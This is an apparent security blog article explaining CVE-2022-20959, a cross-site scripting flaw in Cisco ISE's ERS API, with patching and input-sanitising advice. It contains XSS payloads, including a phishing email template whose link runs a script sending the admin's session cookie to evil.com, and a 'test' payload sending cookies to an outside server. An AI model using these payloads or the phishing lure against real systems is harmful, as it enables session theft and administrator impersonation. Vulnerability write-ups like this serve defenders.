CVE-2022-20959 - How a Simple Input Validation Bug Could Expose Your Cisco ISE – Details, Exploit, and Fixes

Published: June 2024

By: Exclusive Cyber Insights

Summary:  
CVE-2022-20959 is a security vulnerability discovered in the External RESTful Services (ERS) API of Cisco Identity Services Engine (ISE) Software. This flaw could let an attacker inject malicious scripts (Cross-Site Scripting, or XSS) if they can lure an authenticated administrator into clicking a crafted link. In this detailed article, we’ll break down how this attack works, show code snippets, and provide links for further reading. This is *the* comprehensive guide to understanding and defending against CVE-2022-20959.

Understanding the Vulnerability

What’s ISE?  
Cisco Identity Services Engine (ISE) is a security policy management platform. Organizations use it to manage who gets access to their networks.

What’s the Problem?  
In some releases of Cisco ISE, the External RESTful Services (ERS) API doesn’t properly check user input for dangerous content. Because of this, attackers can inject JavaScript or other code into the web interface, which gets executed in the admin's browser. This is called a Cross Site Scripting (XSS) attack.

Official Description:  
>A vulnerability in the External RESTful Services (ERS) API of Cisco Identity Services Engine (ISE) Software could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface of an affected device. This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by persuading an authenticated administrator of the web-based management interface to click a malicious link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.

Reference Links:  
- Cisco Security Advisory for CVE-2022-20959
- National Vulnerability Database - CVE-2022-20959

How Does the Exploit Work?

Let’s say you’re an adversary who wants to gain extra control or steal information from a Cisco ISE environment.

1. You create a malicious URL where GET/POST parameters include JavaScript.

Example Exploit Code

Suppose the ERS API endpoint /ers/config/endpoint takes a GET parameter called description. What happens if the admin clicks the following malicious link?

https://ise.example.com:906/ers/config/endpoint?description=<script>alert('XSS in ISE!')</script>

If the software is unpatched, the browser will render the page and execute the script, leading to a popup:

<script>alert('XSS in ISE!')</script>

This is a very basic example. A real attacker could do much more—like steal session cookies, change settings, or impersonate the admin.

Phishing Email Example

Subject: Unusual Device Detected in ISE

Hi Admin,

A new device has requested access. Please review its details at the following link:

https://ise.example.com:906/ers/config/endpoint?description=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>;

Best,
Automated Network Monitor

When the admin clicks, their browser runs the malicious JavaScript.

Steal sensitive data: Session cookies, authentication tokens, API keys.

- Change device/network policy: Imbue new devices with extra privileges.

Cisco’s Recommendation

- Upgrade Cisco ISE to a version with the fix. Details and downloads are available in Cisco's official advisory.

Other Quick Fixes

- Sanitize Inputs: If you’re customizing ISE or developing your tools, always sanitize user input with a strong XSS filter.

How Do I Know If My ISE Server is Vulnerable?

- Check your version against Cisco’s list of affected releases.

Sample Payloads to Test

"><img src=x onerror=alert('XSS')>
<script>fetch('https://yourserver.com/log?cookie='+document.cookie)</script>

Key Takeaways

- CVE-2022-20959 is a critical XSS vulnerability affecting Cisco ISE’s ERS API due to poor input validation.
- Attackers need to trick an authenticated admin into clicking a malicious link. From there, arbitrary scripts can run with admin privileges.

More Information

- Cisco Security Advisory for CVE-2022-20959
- OWASP XSS Explained
- National Vulnerability Database Entry

Timeline

Published on: 10/26/2022 15:15:00 UTC
Last modified on: 10/28/2022 17:40:00 UTC